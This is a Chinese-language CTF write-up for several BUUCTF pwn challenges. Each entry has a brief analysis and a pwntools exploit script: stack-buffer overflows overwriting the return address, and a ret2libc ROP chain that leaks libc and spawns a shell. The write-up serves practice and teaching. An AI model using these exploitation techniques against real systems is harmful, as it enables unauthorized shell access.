BUUCTF PWN部分题目wp
pwn好难啊
PWN
1,连上就有flag的pwn
nc buuoj.cn 6000得到flag
2,RIP覆盖一下
用ida分析一下,
发现已有了system,只需覆盖RIP为fun()的地址,用peda计算偏移为23,写脚本
from pwn import*
sh=remote('f.buuoj.cn',6001)
payload='a'*23+p64(0x401186)
sh.sendline(payload)
sh.interactive()
得到flag
3,warmup_csaw_2016
先拖进ida
找到了system地址
下载libc.so
用peda
找到ebp位置,需覆盖64+8字节,写脚本
from pwn import*
#sh=process('/home/harmonica/Desktop/warmup_csaw_2016.dms' )
sh=remote('pwn.buuoj.cn',20035)
payload='a'*72+p64(0x40060D)
sh.sendline(payload)
sh.interactive()
得到flag
4,ciscn_2019_c_1
栈溢出,查看保护
经过分析,需覆盖0x58字节,本来这题想不用给的libc,但用LibcSearcher找不到这个libc,还是去下了一份
查到/bin/sh位置
写脚本
from pwn import *
from LibcSearcher import LibcSearcher
sh=remote('pwn.buuoj.cn',20115)
#sh=process('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
ciscn=ELF('/home/harmonica/Desktop/ciscn_2019_c_1.dms')
libc=ELF('/home/harmonica/Desktop/x64_libc.so.6')
def send(content):
sh.recvuntil('Input your choice!\n')
sh.sendline('1')
sh.recvuntil('Input your Plaintext to be encrypted\n')
sh.sendline(content)
puts_plt=ciscn.plt['puts']
puts_got=ciscn.got['puts']
main=ciscn.symbols['main']
pop_rdi=0x400c83
payload ='A' * 0x58+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
send(payload)
sh.recvuntil('@\n')
puts_addr=u64(sh.recv(6).ljust(8,'\x00'))
#libc=LibcSearcher('puts', puts_addr)
libcbase=puts_addr-libc.sym['puts']
log.success("libcbase: "+hex(libcbase))
system_addr=libcbase+libc.sym['system']
binsh_addr=libcbase+0x18cd57
payload ='A'*0x58+p64(pop_rdi)+p64(binsh_addr)+p64(system_addr)
send(payload)
sh.interactive()
得到flag
5, pwn1_sctf_2016
拖进ida,c++程序,找到主函数
程序中带了system
运行程序
当输入'I'时会转换为‘you’
fgets溢出,写exp
from pwn import *
sh=remote('pwn.buuoj.cn',20086)
get_flag=0x08048F0D
payload='I'*0x14+'a'*4+p32(get_flag)
sh.sendline(payload)
sh.interactive()
得到flag